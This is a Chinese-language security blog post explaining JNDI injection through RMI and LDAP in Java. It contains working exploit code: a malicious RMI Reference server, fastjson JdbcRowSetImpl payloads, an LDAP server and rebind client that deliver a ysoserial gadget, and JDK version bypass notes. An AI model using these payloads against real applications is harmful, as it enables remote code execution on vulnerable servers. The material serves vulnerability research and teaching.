JNDI与RMI、LDAP
2022-02-18 04:02:00
java - jndi
Concepts of JNDI
JNDI 全名 Java Naming and Directory Interface,实际上简单来说就是一个接口,应用通过该接口来访问对应的目录服务。好吧,先了解一下目录服务是啥。
JNDI分为了Naming和Directory,对应的命名服务和目录服务。
所谓Naming-命名服务,常见的有如DNS,一句话概括来说其实就是我们可以根据某一个具体的名称来获取到其对应的对象。
所谓Directory-目录服务,如反序列化中常常见到的ldap就是目录服务中的一种,实际上目录服务可以理解为名称服务的一个扩展。
回顾我写过的RMI攻击方式[1]
在编写一个Server和Registry时我选择将他们放置在一起,而实际上在代码中起到server作用的是:
代码语言:javascript复制Naming.bind("rmi://127.0.0.1:1099/hell",helloR);
毫无疑问,作为一个命名服务首先需要将对象和某个名称绑定在一起,也就是所谓的Bindings,而之所以说目录服务是命名服务的扩展是因为目录服务还可以通过属性来搜索对象。
JNDI到底是什么,实际上是java的一个api,通过JNDI可以对不同的目录系统做操作,将不同的目录系统(如RMI和LDAP)放入统一的一个接口中方便使用,其整体架构可看oracle官方文档[2]中给的图:
在目录系统之上还有一层SPI是什么?与API有和关系?
SPI(Service Provider Interface),即服务供应接口 API是你可以调用或者使用类/接口/方法等去完成某个目标的意思。 SPI是你需要继承或实现某些类/接口/方法等去完成某个目标的意思。 换句话说,API制定的类/方法可以做什么,而SPI告诉你你必须符合什么规范。 有时候SPI和API互相重叠。例如JDBC驱动类是SPI的一部分:如果仅仅是想使用JDBC驱动,你不需要实现这个类,但如果你想要实现JdBC驱动那就必须实现这个类。
其中JDK默认内置了如下SPI:
- Lightweight Directory Access Protocol (LDAP)
- Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
- Java Remote Method Invocation (RMI) Registry
- Domain Name Service (DNS)
同时JNDI分为了5个包:
- javax.naming
- javax.naming.directory
- javax.naming.ldap
- javax.naming.event
- javax.naming.spi
See RMI and know others
SPI层下可供我们利用的有LDAP,RMI,CORBA,相对来说我对于RMI相关的知识了解偏多,既然同属于SPI下的东西,那么大体上应该大同小异,因此我从RMI切入,窥RMI而知其他。
RMI的介绍看[1],本文建立在对RMI有一定了解的前提。
直接看代码胜过一大堆解释,首先是Server和Register:
代码语言:javascript复制//Register
Registry registry = LocateRegistry.createRegistry(1099);
//Server
String FactoryURL = "http://localhost:18888/";
Reference reference = new Reference("EvilObj","EvilObj",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);
Register没有变化,server用Reference来替代我们继承自UnicastRemoteObject的实现类,同时不需要进行实例化。
Client:
代码语言:javascript复制//Client
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
ctx.lookup("Foo");
客户端其实基本上一致,都是通过几种方法去操作对象。
在此种情况下我们需要关注的就是我们的可控点,大部分情况下需要可控到PROVIDER_URL,或者说是lookup内可控,在服务器上放置EvilObj.class后将所谓的PROVIDER_URL指向服务器即可达成利用。
例如fastjson中在1.2.22-1.2.24版本中的JdbcRowSetImpl链就是通过控制lookup的内容来达成利用,如下图:
其payload为:
代码语言:javascript复制{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/evil", "autoCommit":true}
具体链路就不作分析了,主要是fastjson的autotype的缘故,且设置autoCommit为true时会走到connect调用到lookup。
fastjson还有另一个payload是利用ldap:
代码语言:javascript复制{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/evil", "autoCommit":true}
会发现其实单论利用而言,区别只在于协议以及指定开启的恶意端,而我们的payload需要修改的地方仅仅只有协议头,同理对于CORBA有如:
代码语言:javascript复制iiop://127.0.0.1:1099/evil
不过CORBA的利用需要SecurityManager启用,且需要配置规则,因此后面主要谈谈rmi和ldap。
与常规的rmi实现不同的是此处我们操作的是Reference对象而非直接对远程类对象做操作,这样就是JNDI对于RMI或者说是SPI层下的实现,通过返回Reference的方式,由JNDI统一去加载指定的地址上的obj,而加载时会去先从本地CLASSPATH查找EvilObj,找不到时会到指定的地址也就是http://localhost:18888/EvilObj.class
中去加载,有前提条件:com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase为true。
回到漏洞层面,在client端发起lookup后,通过层层调用,在RMI Registry获取到绑定的obj,然后在javax.naming.spi.NamingManager#getObjectFactoryFromReference函数最后return了如下:
代码语言:javascript复制(clas != null) ? (ObjectFactory) clas.newInstance() : null;
此处的cls也就是我们的factory—EvilObj,此时会调用到EvilObj的构造函数达成一整个的利用,
LDAP
在JDK8u113以及JDK6u132, JDK7u122中对于两个trustURLCodebase的值都默认设置为false,对此有两种不同思路的绕过方式:
- 利用本地Factory类绕过,有Tomcat和SpringBoot以及其他链,参考[6]。
- 利用ldap协议绕过。
关于第一点具体可参考[4],我主要谈谈ldap。
Ldap是一种目录服务,轻量级目录访问协议(The Lightweight Directory Access Protocol),不仅仅在java中,在其他地方也有其存在,ldap有着一些独特的机制,例如索引,属性等,同时java对象在ldap中也有多种存储形式,其中比较值得关注的是SerializedData以及JNDI Reference,而存储的java对象可以放置的属性有:
- ObjectClass
- javaCodebase
- JavaFactory
- javaClassName
为方便,直接利用https://github.com/welk1n/JNDI-Injection-Exploit/做调试,在客户端下断点,跟入到:com.sun.jndi.ldap.Obj#decodeObject时能够发现上面的四个属性:
这四个属性就是从服务器获取的Entry中得到的,后续将提取javaClassName和
javaFactory这两个属性并生成一个Reference,最后交由javax.naming.spi.NamingManager#getObjectFactoryFromReference来处理,并且将classFactoryLocation赋值给了codebase,最后从codebase中加载factory类并执行初始化造成漏洞的利用:
在高版本 JDK,如 11.0.1
、8u191
、7u201
、6u211
版本时加入了对于ldap的codebase的限制,因此在除了使用ref的利用方式之外,还可以利用SerializedData,同样位于com.sun.jndi.ldap.Obj#decodeObject,还有另一个分支:
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
//javaSerializedData
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}
因此只需要在获取到的Entry中添加javaSerializedData字段即可进入该分支,那么具体该怎么实现?
[7]中提到一个朴实无华的技巧:
用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。
因此在实现ldap恶意端时只需要先启动一个正常的ldap服务:
代码语言:javascript复制public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行rebind服务:
代码语言:javascript复制public class LDAPSeriServerSerData {
public static void main(String[] args) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL,
"ldap://127.0.0.1:1389/dc=example,dc=com");
String payloadType = "CommonsCollections7";
String payloadArg = "open /System/Applications/Calculator.app";
//yso中获取payload的Object对象的方法
Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);
Context ctx = new InitialContext(env);
ctx.rebind("foo=any", payloadObject);
}
}
执行client达成利用:
代码语言:javascript复制public class LDAPClient {
public static void main(String[] args) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL,
"ldap://127.0.0.1:1389/dc=example,dc=com");
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext(env);
Object object = ctx.lookup("foo=any");
}
}
这一利用过程相对于前面的codebase来说缺点是需要本地有gadget,但在JDK 11.0.1、8u191、7u201、6u211之后由于com.sun.jndi.ldap.object.trustURLCodebase也默认置为false,此时只能选择使用SerializedData的方式。
总结
在JNDI注入中
就RMI而言:
- 在JDK8u113以及JDK6u132, JDK7u122版本以下,可以使用JNDI RMI lookup Reference的利用方式。
- 在JDK8u113以及JDK6u132, JDK7u122之后的版本,可以利用存在gadget的本地Factory类,具体可看[6]。
就LDAP而言:
11.0.1
、8u191
、7u201
、6u211
版本以下,可以使用JNDI LDAP lookup Reference的利用方式。11.0.1
、8u191
、7u201
、6u211
之后的版本,可以使用javaSerializedData的利用方式。
Ref
[1]https://www.anquanke.com/post/id/263726
[2]https://docs.oracle.com/javase/tutorial/jndi/overview/
[3]https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
[4]https://paper.seebug.org/942/#classreference-factory
[5]https://www.jianshu.com/p/776c56fc3a80
[6]https://tttang.com/archive/1405/
[7]http://blog.nsfocus.net/ldap-0521/
本文原创于HhhM的博客,转载请标明出处。